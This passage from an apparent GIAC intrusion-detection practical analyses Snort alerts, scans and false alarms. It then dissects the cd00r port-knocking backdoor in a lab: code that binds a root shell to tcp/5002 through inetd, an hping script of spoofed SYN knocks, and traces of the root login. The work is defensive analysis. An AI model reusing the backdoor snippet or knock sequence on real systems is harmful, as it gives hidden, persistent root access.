There are other rules in the Snort rule set which match on TCP traffic destined to port 7777. Such traffic is attributed to Napster use. Is it possible that this is what we are seeing? The answer is no. For one, the traffic seen here is UDP data not TCP.

There is another interesting exploit that takes advantage of UDP/7777. There is a bugtraq listing (www.securityfocus.com/bid/695.html) which describes an attack to Hybrid Networks cable modem (CVE-1999-0791):

> Network's cable modems are vulnerable to several different types of attack due to a lack of authentication for the remote administration/configuration system. The cable modems use a protocol called HSMP, which uses UDP as its transport layer protocol. This makes it trivial to spoof packets and possible for hackers to compromise cable-modem subscribers anonymously. The possible consequences of this problem being exploited are very serious and range from denial of service attacks to running arbitrary code on the modem.

Again, given that the trace/firewall logs register traffic both to port UDP/7777 an UDP/7778 it is unlikely that this detect was the result of an attack on a cable modem but part of normal Unreal game play. The server is a know Unreal machine on our internal network.

5. Attack mechanism:

Not an attack, but part of the normal game play associated with an Unreal game.

6. Correlations:

The description of the signature at www.whitehats.com/IDS/362 notes:

> A string of the character 0x90 was detected. Depending on the context, this is usually indicates the NOP operation in x86 machine code. Many remote buffer overflow exploits send a series of NOP (no-operation) bytes to pad their chances of successful exploitation.

The key phrase in the above quote is "Depending on the context". In this case the padding is associated with "normal" data being sent to and from a game server.

7. Evidence of active targeting:

This is not active targeting. The firewall logs show that the request was initiated from behind the firewall. Thus, the source IP in the packet was not generating an initial request but merely responding to a packet generated by the gamer within our network.

8. Severity:

Severity = (Target Criticality + Attack Lethality) - (Sys. Countermeasures + Net. Countermeasures)

Target Criticality = 5 (The "target" is a internal host)
Attack Lethality = 0 (This is a known false alarm)
System Countermeasures = 2 (The internal server is weakly hardened)
Network Countermeasures = 2 (The traffic was allowed by the firewall since it was internally initiated)

Severity = 1

9. Defense recommendation:

The best recommendation to prevent these sorts of detects would be to restrict outbound traffic to well defined protocols (http, https, etc.) in an attempt to discourage this sort of game playing.

10. Multiple choice question:

```
[**] IDS362 - MISC - Shellcode X86 NOPS [**]
03/16-21:28:30.295428 24.94.1.150:7777 -> xx.xx.xx.250:32027
UDP TTL:123 TOS:0x0 ID:30415 IpLen:20 DgmLen:536
Len: 516
```

The above detect was a false alarm. It is most likely that the packet was just
A) A Napster download
B) HTTP traffic to a non-standard (e.g., Weblogic) port
C) A DNS Zone Transfer
D) None of the above

The answer is D, None of the above, as answers A, B, and C are TCP-based connections. The above packet is a UDP packet.

Network Detect #4 (3rd Party Scan of a Host)

0. The detect:

```
[**] IDS29 - SCAN-Possible Queso Fingerprint attempt [**]
12/25-05:43:59.221250 0:10:67:0:B9:C4 -> 0:50:DA:80:66:A type:0x800 len:0x4A
206.65.191.129:42828 -> 64.81.40.206:4343 TCP TTL:53 TOS:0x0 ID:0  DF
12****S* Seq: 0xF3BB28B3   Ack: 0x0   Win: 0x16D0
TCP Options => MSS: 1460 SackOK TS: 100342612 0 NOP WS: 0

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] IDS29 - SCAN-Possible Queso Fingerprint attempt [**]
12/25-05:43:59.222489 0:10:67:0:B9:C4 -> 0:50:DA:80:66:A type:0x800 len:0x4A
206.65.191.129:42829 -> 64.81.40.206:22305 TCP TTL:53 TOS:0x0 ID:0  DF
12****S* Seq: 0xF42CFF39   Ack: 0x0   Win: 0x16D0
TCP Options => MSS: 1460 SackOK TS: 100342612 0 NOP WS: 0

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] IDS29 - SCAN-Possible Queso Fingerprint attempt [**]
12/25-05:43:59.223970 0:10:67:0:B9:C4 -> 0:50:DA:80:66:A type:0x800 len:0x4A
206.65.191.129:42830 -> 64.81.40.206:5900 TCP TTL:53 TOS:0x0 ID:0  DF
12****S* Seq: 0xF475F6DE   Ack: 0x0   Win: 0x16D0
TCP Options => MSS: 1460 SackOK TS: 100342612 0 NOP WS: 0
```

... The scan continues for ALL 65535 ports on the host.

1. Source of trace:

The IDS sensor is observing all inbound and outbound traffic destined for my home /30 public address space.

2. Detect generated by:

The IDS sensor is Snort v1.7 running on Linux/x86. The sensor was logging, for the purposes of this exercise, to flat files and dumping the application data. The rule set dates from Jan. 23, 2001 and was taken from the compilation housed at www.snort.org.

The rule match which triggered this alert was:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"IDS29 - SCAN-Possible
Queso Fingerprint attempt";flags:S12;)
```

3. Probability that the source address was spoofed:

The probability that this is a spoofed address is fairly small. As with most fingerprint scans, the information gleaned by the scanned system is actually useful to the attacker. Thus the data, ideally, would be returned to the host originating the scan.

4. Description of the attack:

This is a fingerprinting/vulnerability scan of a single host.

5. Attack mechanism:

The attack works by probing all of the possible ports of the host under scrutiny. By observing how the host responds to each packet sent, the attacker can gain knowledge of (1) which ports are open and (2) the type of operating system used.

6. Correlations:

The Snort portscan preprocessor was also active during the scan and recorded a variety of different probes. While the bulk of the packets were ones with the SYN flag and two reserved bits set, additional probes to TCP and UDP port 0 of the server were also detected.

```
Dec 25 05:43:08 206.65.191.129:1269 -> 64.81.40.206:0 NULL ********
Dec 25 05:43:18 206.65.191.129:2208 -> 64.81.40.206:0 UDP
Dec 25 05:43:19 206.65.191.129:2209 -> 64.81.40.206:0 UDP
...
Dec 25 05:43:29 206.65.191.129:42207 -> 64.81.40.206:596 SYN 12****S*
RESERVEDBITS
Dec 25 05:43:30 206.65.191.129:42228 -> 64.81.40.206:1411 SYN 12****S*
RESERVEDBITS
...
```

While the scanning tool doesn't reveal the same repeatable packet characteristics of synscan (See Network Trace #2), it does have at least one unusual feature. Each of the packets have a IP header ID of zero.

206.65.191.129:42828 -> 64.81.40.206:4343 TCP TTL:53 TOS:0x0 **ID:0** DF
206.65.191.129:42829 -> 64.81.40.206:22305 TCP TTL:53 TOS:0x0 **ID:0** DF

Moreover, the signature which triggered the alert is not necessarily an indicator of forbidden traffic on the internet these days. As noted by Max Vision at

> Old reserved and unused bits are, since RFC 2461, used for QOS (respectively ECN and CWR). So these bits used doesn't mean a obvious SCAN any more. However the signature now checks for high TTL also, which will usually only be the case for queso-generated packets, as Linux standard initial TTL is 64.

There is a CVE related to this flavor of fingerprinting (e.g., CAN-1999-0454).

7. Evidence of active targeting:

This is a known active targeting attempt. Numerous web sites allow one to perform a "third-party" scan of a home system. In this instance, the security scanner available at www.dslreports.com/secureme was used to judge the methods used to gauge host/network security.

The above trace was collected as the probe was in progress.

8. Severity:

Severity = (Target Criticality + Attack Lethality) - (Sys. Countermeasures + Net. Countermeasures)

Target Criticality = 2 (the server is my test server)
Attack Lethality = 3 (This is only an information gathering exercise)
System Countermeasures = 5 (only HTTP, HTTPS, and SSH were running)
Network Countermeasures = 5 (All systems were protected by a firewall which denied inbound non-essential services)

Severity = -5

9. Defense recommendation:

My recommendation is to use firewalling software to disallow incoming connections to ALL services except for the ones being served by the server (e.g., HTTP, SSH, etc.). If possible, layers of protection are encouraged. Even though this is a home/DSL connection, a packet filtering router could be

placed in front of the firewall. If this is not possible, it is essential that the services being served up on the server are at their most recent patch level and free of vulnerabilities.

10. Multiple choice question:

```
12/25-05:43:59.223970 0:10:67:0:B9:C4 -> 0:50:DA:80:66:A type:0x800 len:0x4A
```

The above line of a network trace represents:

A) IP addresses written in hex
B) A summary of the ethernet header on a captured packet
C) An X-mas scan
D) None of the above

The answer is B, a summary of the ethernet header of a packet. IP addresses are 32-bit while MAC addresses are 48-bits long (or 6 bytes). Despite the date (12/25), the packet does not match the definition of an true X-mas scan.

Network Detect #5 (A Scan for Print/lpd Services)

0. The detect:

```
[**] OVERFLOW - Possible attempt at MS Print Services [**]
03/20-07:05:01.028376 12.10.85.65:4126 -> xx.xx.xx.108:515
TCP TTL:51 TOS:0x0 ID:7554 IpLen:20 DgmLen:60 DF
******S* Seq: 0x5EA20FE5  Ack: 0x0  Win: 0x7D78  TcpLen: 40
TCP Options (5) => MSS: 1460 SackOK TS: 60623111 0 NOP WS: 0

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

[**] OVERFLOW - Possible attempt at MS Print Services [**]
03/20-07:05:01.028863 12.10.85.65:4131 -> xx.xx.xx.113:515
TCP TTL:51 TOS:0x0 ID:7559 IpLen:20 DgmLen:60 DF
******S* Seq: 0x5DFF6717  Ack: 0x0  Win: 0x7D78  TcpLen: 40
TCP Options (5) => MSS: 1460 SackOK TS: 60623111 0 NOP WS: 0

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

```
[**] OVERFLOW - Possible attempt at MS Print Services [**]
03/20-07:05:01.031063 12.10.85.65:4143 -> xx.xx.xx.125:515
TCP TTL:51 TOS:0x0 ID:7571 IpLen:20 DgmLen:60 DF
******S* Seq: 0x5EBFA0A5  Ack: 0x0  Win: 0x7D78  TcpLen: 40
TCP Options (5) => MSS: 1460 SackOK TS: 60623111 0 NOP WS: 0
```

1. Source of trace:

The IDS sensor is observing all inbound and outbound traffic destined for a Class C public address range owned and managed by my employer.

2. Detect generated by:

The IDS sensor is Snort v1.7 running on Solaris/SPARC. The sensor was logging, for the purposes of this exercise, to flat files and dumping the application data. The ruleset dates from Jan. 23, 2001 and was taken from the compilation housed at www.snort.org.

The rule match which triggered this alert was:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET 515 (msg:"OVERFLOW - Possible
attempt at MS Print Services";)
```

3. Probability that the source address was spoofed:

The probability that the source was spoofed is fairly small. This scan is an information gathering exercise, thus the attackers will want to know which of the scanned hosts is actually serving up this ports. They can then use this information, in conjunction with known exploits, to remotely compromise a system. Thus, it seems improbable that the source was spoofed.

4. Description of the attack:

The purpose of the attack is to discover hosts which are serving up port 515. This port is particularly interesting as there are specific, remotely exploitable vulnerabilities associated with the lpd daemon (tcp/515) on certain Linux distributions.

By scanning a network for this port, the attackers are looking for potential hosts to compromise.

5. Attack mechanism:

The attack works by observing how a machine responds to a SYN packet sent to the host in question. If the port is open, the host will respond with a SYN-ACK packet in an attempt to complete the TCP three-way handshake. However, if the port is closed a RST packet will be sent by the server. By assimilating this information for each scanned host, the attack tool can determine which hosts are serving up the port in question.

6. Correlations:

The source IP in question (12.10.85.65) was recognized by Dshield (www.dshield.org) as being a prolific scanner. There are numerous entries in the dshield database which contain the a similar type of scan.

Arin information notes that the block is owned by:

```
Whois:
AT&T ITS (NET-ATT)              ATT                  12.0.0.0 -
12.255.255.255
Kele &  Associates (NETBLK-KA-85-0) KA-85-0          12.10.85.0 -
12.10.85.255
```

Moreover, the portscan preprocessor was active on Snort when the above alerts were issued. The portscan preprocessor also shows that the entire class C address space was scanned.

```
Mar 20 07:05:01 12.10.85.65:4132 -> xx.xx.xx.108:515 SYN ******S*
Mar 20 07:05:01 12.10.85.65:4128 -> xx.xx.xx.113:515 SYN ******S*
Mar 20 07:05:01 12.10.85.65:4137 -> xx.xx.xx.125:515 SYN ******S*
...
... similar entries for all addresses on the /24 subnet
```

A scan of the firewall logs (using fwlogsum on archived Checkpoint FW-1 logs) revealed that the scans were also detected by the firewall (and subsequently dropped).

```
Reporting period for matched data: 19 Mar 2001 at 23:58:07 to 20 Mar 2001 at
23:58:04
Report generated on:

Total entries processed: 474531
Entries matched on: 132
Inbound traffic: 467745
Outbound traffic: 6780
Control Messages: 6
Entries ignored: 19054
Translated addresses: 1

Page:  1
FW-1 HOST    SOURCE ADDRESS    DESTINATION     SERVICE
-----------------------------------------------------------
zz.zz.zz.2 12.10.85.65(4196) xx.xx.xx.178 tcp(printer)
zz.zz.zz.2 12.10.85.65(4082) xx.xx.xx.64  tcp(printer)
```

```
zz.zz.zz.2 12.10.85.65(4105) xx.xx.xx.87  tcp(printer)
zz.zz.zz.2 12.10.85.65(4116) xx.xx.xx.98  tcp(printer)
zz.zz.zz.2 12.10.85.65(4098) xx.xx.xx.80  tcp(printer)
zz.zz.zz.2 12.10.85.65(4128) xx.xx.xx.110 tcp(printer)
...
... similar entries for all addresses on the /24 subnet
```

7. Evidence of active targeting:

This scan covered an entire Class C address range. The attackers were looking, therefore, for machines with this port open. As this port is associated with a known vulnerability (e.g., www.redhat.com/support/errata/RHSA-2000-066.html), the scan is direct evidence of active targeting.

8. Severity:

Severity = (Target Criticality + Attack Lethality) - (Sys. Countermeasures + Net. Countermeasures)

Target Criticality = 5 (all servers are public facing)
Attack Lethality = 3 (this is only an information gathering exercise)
System Countermeasures = 5 (No systems were running lpd)
Network Countermeasures = 5 (All systems were protected by a firewall which denied the traffic)

Severity = -2

9. Defense recommendation:

A simple defense strategy is not to offer print services on servers with public exposure. If this must be done, then the binaries used should be patched to remove vulnerabilities. If possible, shielding the servers behind a firewall and/or packet filtering router would make sense. With such a barrier between the internet and the server, one could disallow inbound connections to specific ports including tcp/515.

10. Multiple choice question:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET 515 (msg:"OVERFLOW - Possible
attempt at MS Print Services";)
```

Which of the following statements best describes the above Snort rule:
A) The "OVERFLOW" rule is triggered by an observed NOP-slide
B) The rule is only triggered by Microsoft LPD traffic

C) The rule is only triggered by Linux lpd exploits
D) The rule is poorly written

The correct answer is D. The rule does not really observe an "OVERFLOW" as it is alarms on any tcp traffic destined to port 515. There is no way to distinguish between MS or Linux traffic to that port with the above rule. In other words, D is the proper answer as the rule is not descriptive and is poorly written.

Section 2: Describe the State of Intrusion Detection

Description of the exploit

The initial breach of a system, whether its due to the exploitation of a common vulnerability, social engineering, etc., is only the first step taken by a hacker to gain remote control of a server. In general the same exploit is not reused to gain access at a later date; rather, the initial vulnerability is patched. This action prevents the box from being exploited by other attackers or worms; however, access is still required.

A common way to gain repeated access is through the installation of a "backdoor" program, or "a way for the hacker to remotely connect to the system without requiring a legitimate user account and without relying on the vulnerability that the attacker exploited in the first instance." (Northcutt et al. 2001).

Common backdoor programs rely on a novel program or a standard daemon to open a port which awaits a connection by the attacker. The problem with such a backdoor is that automated scans could detect the listening port and tip off the system administrator. While the backdoor could be forced to listen on a common port (e.g., 23/tcp or 22/tcp), the listening daemon may conflict with standard services and, again, tip off the administrator.

What if a backdoor program could be designed such that the listening port was opened only after a particular "signal" was observed by the compromised system. FX of Phenoelit (www.phenoelit.de) wrote just such a routine called "cd00r.c" (www.phenoelit.de/stuff/cd00r.c). As noted in the code's comments:

> The approach of cd00r.c is to provide remote access to the system without showing an open port all the time. This is done by using a sniffer on the specified interface to capture all kinds of packets. The sniffer is not running in promiscuous mode to prevent a kernel message in syslog and detection by programs like AnitSniff.

In the case of "cd00r.c", this signal is simply a pattern of SYN packets to a series of tcp ports on the host. For example, if "cd00r.c" is expecting SYN

packets to tcp/200, tcp/300, and tcp/400, then once the listener sees this pattern it will fork the listener daemon.

cd00r.c takes a probabilistic approach towards hardening. The appropriate selection of an "open" signature can minimize hijacking by other users. Moreover, the routine can be told to accept a open signature from only certain hosts or any host. The former has the advantage that it can restrict access while the latter means that several hosts (or spoofed addresses) can be used to trigger the listener.

Describe the attack (how it works)

The attack code is fairly well documented. Since this is the case, I describe the logical flow of the program with emphasis on the various libpcap routines involved.

Hardcode several parameters rather that use them as command line options to avoid having these options appear in a process listing (e.g., ps). The options include:

- interface
- address to bind to
- port signature
- options to (1) limit source address, (2) reset when the port pattern doesn't match and (3) enable debugging

Define the cdr_open_door() function:

This is the subroutine which is called following a successful signature match. In this instance there is a "execv" system call made to launch inetd:

```
## The command arguments are defined
char *args[] = {"/usr/sbin/inetd","/tmp/.ind",NULL};

## A file that will serve as "inetd.conf" is created and a
line which binds a shell ## to port 5002 is inserted.

if ((f=fopen("/tmp/.ind","a+t"))==NULL) return;
fprintf(f,"5002  stream  tcp     nowait  root    /bin/sh
sh\n");
fclose(f);

## The system call is made (invoking inetd with the predefined
arguments)
execv("/usr/sbin/inetd",args);
```

Enter the main loop:

Define variables and check for command line arguments

Count the number of ports in the "port signature"

Create a Berkeley packet filter (BPF) for the first signature port (e.g., "port 200")

Then append the filter to match any ports (e.g., "port 200 or port 300 or port 400")

Initialize the packet listener

- libpcap:: pcap_lookupnet = gets network number and netmask and associates these vales with a device

Open the packet listener

- libpcap:: pcap_open_live = obtain a packet capture descriptor to look at packets on the network. NOTE, this routine does _not_ set the device into promiscuous mode

Make the BPF into a filter that can be applied to the interface:

- libpcap:: pcap_compile = compile a string into a BPF filter
- libpcap:: pcap_setfilter = specifies a filter program and applies it to the capture descriptor

Register signal handlers

Fork the listener process into a daemon

Enter an infinite loop:

- Grab next packet with pcap_next
- Ignore packet if it is smaller that an Ether+IP header
- Grab the IP header
- Continue the loop if not the packet is not IPv4
- Grab the tcp header
- Verify that its only a SYN packet (AND bytes 12 & 13 with the hex mask 0x02 -- "if (!(ntohs(tcp->rawflags)&0x02)) continue;")
- Continue the loop if the destination address doesn't match the interface address.
- Check to see if the destination TCP port is the 1st port in the signature list
- Check to see if the port count matches the total
    - lf not, increment the port counter and continue the loop
    - otherwise, call the function cdr_open_door() and spawn inetd

An annotated trace of the attack in action

First, verify that we are only listening on a few restricted ports (here, tcp/6000 Xwindows and tcp/22 ssh) before we run the backdoor program.

```
[alex@home-rh62 tmp]$ netstat -an | grep "LISTEN "
tcp        0      0 0.0.0.0:6000            0.0.0.0:*
LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*
LISTEN
```

Run the backdoor program, then see which files it has opened (via lsof):

```
[alex@home-rh62 tmp]$ ./cd00r
```

```
[alex@home-rh62 tmp]$ lsof -p 872
COMMAND PID USER   FD   TYPE DEVICE    SIZE   NODE NAME
cd00r   872 root  cwd    DIR    3,6    4096 352705 /var/tmp
cd00r   872 root  rtd    DIR    3,1    4096      2 /
cd00r   872 root  txt    REG    3,6  132197 352726 /var/tmp/cd00r
cd00r   872 root  mem    REG    3,1  340663  14628 /lib/ld-2.1.3.so
cd00r   872 root  mem    REG    3,1 4101324  14635 /lib/libc-2.1.3.so
cd00r   872 root    0u   CHR  136,0              2 /dev/pts/0
cd00r   872 root    1u   CHR  136,0              2 /dev/pts/0
cd00r   872 root    2u   CHR  136,0              2 /dev/pts/0
cd00r   872 root    3u  sock    0,0           1206 can't identify
protocol
```

Now, send the "packet signature" to the vulnerable machine running the backdoor:

I altered the "CDR_PORTS" variable to expect 3 SYN packets to ports 200, 300, and 400. Thus the "signature" would be a series of SYN packets to each port, in that order, on the vulnerable machine.

```
#define CDR_PORTS  { 200,300,400,00 }
```

The network signature was generated using hping. In this instance, I performed a test to verify that packets from *any* source would work to open the backdoor. Hping allows one to spoof the source address, so the resultant script was.

```
#!/bin/sh
/usr/sbin/hping -c 1 -a 172.31.32.4 --destport 200 --syn 172.31.32.10
/usr/sbin/hping -c 1 -a 172.31.32.5 --destport 300 --syn 172.31.32.10
/usr/sbin/hping -c 1 -a 172.31.32.6 --destport 400 --syn 172.31.32.10
```

Observe the packets being passed to the vulnerable machine:

Using Snort, we can see the spoofed SYN packets coming from the spoofed addresses.

```
03/23-17:44:04.282306 172.31.32.4:2158 -> 172.31.32.10:200
TCP TTL:64 TOS:0x0 ID:20796 IpLen:20 DgmLen:40
******S* Seq: 0x2A33260E  Ack: 0x0  Win: 0x200  TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

03/23-17:44:14.305030 172.31.32.5:2768 -> 172.31.32.10:300
TCP TTL:64 TOS:0x0 ID:3994 IpLen:20 DgmLen:40
******S* Seq: 0x7B39A934  Ack: 0x0  Win: 0x200  TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

03/23-17:44:24.335394 172.31.32.6:2798 -> 172.31.32.10:400
TCP TTL:64 TOS:0x0 ID:15051 IpLen:20 DgmLen:40
******S* Seq: 0xBC6AD96  Ack: 0x0  Win: 0x200  TcpLen: 20
```

What does this do on the host?

To confirm that these packets have some sort of effect on the cd00r program, an "strace" was run on the PID of cd00r. Strace records the system calls and signals received by a running program. The results show the following:

Each (recvfrom, ioctl, write) tripet shows that the cd00r program observed and recorded a connection to the ports of interest as valid.

Once it observes the complete set (part 1, part2, and part3 in the write commands), then it forks a process to spawn inetd. This fork is simply part of the call made to function "cdr_open_door()"

[root@home-rh62 tmp]# strace -p 758

```
## SYN packet to port 200
recvfrom(3,
"\0\20\244\347]\17\0\20\244\347Z>\10\0E\0\0(2\330\0\0@\6"..., 98,
MSG_TRUNC, {sin_family=AF_PACKET, proto=0x800, if2, pkttype=0,
addr(6)={1, }, [20]) = 60
ioctl(3, SIOCGSTAMP, 0xbffff96c)        = 0
write(1, "Port 200 is good as code part 0\n", 32Port 200 is good as
code part 0 ) = 32

## SYN packet to port 300
recvfrom(3,
"\0\20\244\347]\17\0\20\244\347Z>\10\0E\0\0(\207\226\0\0"..., 98,
```

```
MSG_TRUNC, {sin_family=AF_PACKET, proto=0x800, if2, pkttype=0,
addr(6)={1, }, [20]) = 60
ioctl(3, SIOCGSTAMP, 0xbffff96c)        = 0
write(1, "Port 300 is good as code part 1\n", 32Port 300 is good as
code part 1 ) = 32

## SYN packet to port 400
recvfrom(3,
"\0\20\244\347]\17\0\20\244\347Z>\10\0E\0\0(\214\366\0\0"..., 98,
MSG_TRUNC, {sin_family=AF_PACKET, proto=0x800, if2, pkttype=0,
addr(6)={1, }, [20]) = 60
ioctl(3, SIOCGSTAMP, 0xbffff96c)        = 0
write(1, "Port 400 is good as code part 2\n", 32Port 400 is good as
code part 2 ) = 32

## Fork (call to inetd)
fork()                                  = 762
wait4(-1, NULL, 0, NULL)                = 762
--- SIGCHLD (Child exited) ---
recvfrom(3,  <unfinished ...>
```

The result of this fork?

Once the signature is observed, the "cd00r" routine executes a system command. In the exploit code, this is a call to /usr/sbin/inetd with the file /tmp/.ind serving as the configuration file.

The contents of that file is:

```
[alex@home-rh62 tmp]$ more /tmp/.ind
5002  stream  tcp     nowait  root    /bin/sh  sh -i
```

As a result, an ineractive shell is bound to port tcp/5002.

```
[root@home-rh62 /root]# netstat -an | grep "LISTEN "
tcp        0      0 0.0.0.0:5002            0.0.0.0:*
LISTEN
tcp        0      0 0.0.0.0:6000            0.0.0.0:*
LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*
LISTEN

[root@home-rh62 /root]# ps -ef | grep -i inetd
root      2195     1  0 17:44 ?
00:00:00 /usr/sbin/inetd /tmp/.ind
```

The consequences?

With a bound interactive shell, one only has to telnet to the affected server on that port in order to gain root access. The following Snort network trace shows a typical login using the bound port.

```
## The three-way handshake between the client/server

03/23-17:34:12.490664 172.31.32.205:3918 -> 172.31.32.10:5002
TCP TTL:64 TOS:0x0 ID:12917 IpLen:20 DgmLen:60 DF
******S* Seq: 0x6608FA2B  Ack: 0x0  Win: 0x7F80  TcpLen: 40
TCP Options (5) => MSS: 1360 SackOK TS: 23627454 0 NOP WS: 0

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

03/23-17:34:12.490743 172.31.32.10:5002 -> 172.31.32.205:3918
TCP TTL:64 TOS:0x0 ID:279 IpLen:20 DgmLen:60 DF
***A**S* Seq: 0xCF681D9D  Ack: 0x6608FA2C  Win: 0x7F80  TcpLen: 40
TCP Options (5) => MSS: 1360 SackOK TS: 32047 23627454 NOP WS: 0

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

03/23-17:34:12.491024 172.31.32.205:3918 -> 172.31.32.10:5002
TCP TTL:64 TOS:0x0 ID:12918 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x6608FA2C  Ack: 0xCF681D9E  Win: 0x7F80  TcpLen: 32
TCP Options (3) => NOP NOP TS: 23627454 32047


## A shell prompt is immediately pushed to the client (yikes!)

03/23-17:34:12.501313 172.31.32.10:5002 -> 172.31.32.205:3918
TCP TTL:64 TOS:0x0 ID:280 IpLen:20 DgmLen:58 DF
***AP*** Seq: 0xCF681D9E  Ack: 0x6608FA2C  Win: 0x7F80  TcpLen: 32
TCP Options (3) => NOP NOP TS: 32048 23627454
62 61 73 68 23 20                                 bash#
```

How to detect the stealth backdoor?

In all probability, this routine would not be alone on a breached server. Rather, it is more likely that this tool would be bundled as part of a larger rootkit. While the authors of this tool suggest that it could be disguised as a standard binary (e.g., top) and not raise suspicion, it would probably be included in a rootkit which has "sanitized" versions of netstat, ps, etc. In other words, cd00r would not appear in the output of the sanitized binaries. However, if a peculiar process is seen in a process list, a clean version of netstat should reveal a server listening on the port 5002. This is an easily configured option, however. An lsof of the suspect binary which matches the above lsof trace may be of some assistance when assessing if a rogue process is cd00r.

Section 3: "Analyze This" Scenario

To GIAC Enterprises:

The following report summarizes a detailed analysis of several Snort intrusion detection logs captured by the Customer. The logs were captured during the months of November, December and January and revealed a great deal of potentially malicious network activity. As a result of our analysis, we have detected several servers which may be compromised and should be examined in great detail for evidence of intrusion. Moreover, we have isolated several servers which are frequent targets of attack. We have also isolated several non-local servers which are frequent scanners of the GIAC Enterprises netblock. It is our recommendation that connections from these servers be blocked at the network perimeter.

Data Analysis:

The data presented to us came in three bundles. A series of files called "SnortA*.txt", "SnortS*.txt" and "OOSche*.txt" contained logging and alert output from a Snort sensor on the GIAC Enterprises network. Each class of log contains a different type of data; however, there is some overlap in the three datasets. The files "SnortA*.txt" represent the all of the alerts captured by your organization, including such things as portscan alerts. The files SnortS*.txt and OOSche*.txt contain the same basic information as the portscan data contained in the SnortA*.txt files; thus, the SnortA*.txt alert files were used as representative samples of the hotspots on your network.

A set of custom perl scripts were specially written to analyze your unique dataset. These scripts distilled the data into categories that emphasize (1) the typical types of vulnerabilities resident on your network, (2) possibly vulnerable hosts and (3) likely "foes" (servers which are targeting your organization). The results of this analysis are in presented in the following paragraphs.

Summary of Results:

The files "SnortA*.txt" contain one-line alerts reported by your IDS. Most of these alerts are unique (i.e., there is a single alert generated for a single network violation); however, the portscan preprocessor on Snort routinely generates multiple alerts for a single portscan. In order to provide accurate statistics on the relative frequency of alerts on your network, only unique alerts were used to compile the following information unless otherwise stated. This prevents the dilution of

severe network anomalies by the many redundant portscan detection alerts present in the SnortA*.txt logs.

The total number of processed alerts is rougly twice the number of unique alerts.

Total Alerts Processes	490542
Total Unique Alerts	232308

Detailed Analysis of Detected Network Anomalies (Snort Alerts):

A numerical breakdown of the types of Alerts is presented below. A total of 5 alerts (Watchlist, SYN-FIN scans, general Portscans, a DNS Denial of Service, and witnessed Tiny Fragments) comprise nearly 95% of the total number of alerts. Other alerts, while less frequent, can be potentially dangerous. The wu-ftp, Russia dynamo, stadx, and happy virus alerts in particular suggest that several machines on the GIAC network may be compromised.

Alert Type	**Number of Alerts**	**Percentage**
Watchlist	108319	46.6%
SYN-FIN	51192	22.0%
Portscan	38269	16.5%
DNS DoS	16146	7.0%
Tiny Fragments	5340	2.3%
LPD 515	4397	1.9%
RPC High Port	2257	1.0%
Wingate	2239	1.0%
Null Scan	826	<1.0%
Queso Fingerprint	710	<1.0%
SNMP	591	<1.0%
NMAP TCP Ping	558	<1.0%
Russia Dynamo	546	<1.0%
SMB	515	<1.0%
Ping Broadcast	154	<1.0%
SMTP	100	<1.0%
Back Orifice	77	<1.0%
External RPC	59	<1.0%
NMAP Finger	8	<1.0%
Wu-FTP	3	<1.0%
Statdx	1	<1.0%
Happy Virus	1	<1.0%

We now focus on the hosts (both source and destination) which make up ~95% of the unique alerts processed. We break these down based on the Snort alert which they triggered.

Watchlist Alerts:

There were two classes of watchlist alerts generated. I've included a representative sample of each.

```
2000 12/05-14:54:41.425182  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.27.6:2255 -> MY.NET.226.174:6699
2000 12/05-22:25:58.080041  [**] Watchlist 000222 NET-NCFC [**]
159.226.120.19:36401 -> MY.NET.253.43:25
```

These alerts dominate all others, making up more that 46% of all unique alerts. The patterns of the detected alerts show that most of the alerts originate from the 212.179.x.x netblock. The destination addresses, which are spread across the MY.NET.x.x netblock, may represent vulnerable or compromised machines. As the source addresses originate in an overseas netblock, particular attention should be paid to the traffic originating from these hosts.

```
route:       212.179.0.0/17
descr:       ISDN Net Ltd.
origin:      AS8551
notify:      hostmaster@isdn.net.il
mnt-by:      AS8551-MNT
changed:     hostmaster@isdn.net.il 19990610
source:      RIPE
```

Top Watchlist Source Address	Count	Top Watchlist Destination Addresses	Count
212.179.79.2	48786	MY.NET.201.222	37604
212.179.27.111	39015	MY.NET.220.126	25182
212.179.95.5	4563	MY.NET.225.234	9309
212.179.77.20	2353	MY.NET.202.94	5181
212.179.44.105	1517	MY.NET.229.114	5080
212.179.42.102	1387	MY.NET.228.214	4445
212.179.38.135	1221	MY.NET.202.30	2288
212.179.58.12	1054	MY.NET.201.130	1912
212179.45.241	1002	MY.NET.130.187	1517
212.179.56.5	926	MY.NET.217.138	1438

SYN-FIN Portscan Alerts:

These alerts, as one might expect, do not focus on a particular local (MY.NET.x.x) address. Rather they affect all of the MY.NET.x.x netblock nearly equally. This type of scan is meant to gather information about a particular port (or ports) across a large number of hosts quickly. The source of most of these scans are networks in Asia. The following table provides a list of the most egregious scanners. This information could be used to build a database of deny ACLs or firewall rules.

Top SYN-FIN Source Addresses	Count
211.34.40.1	17604
195.56.182.206	9878
194.234.48.26	8565
147.8.182.157	4096
194.204.224.131	3052
139.130.61.206	1951
200.194.102.99	1790
194.197.170.7	1580
63.204.152.253	1242
193.253.202.9	706

General Portscan Alerts

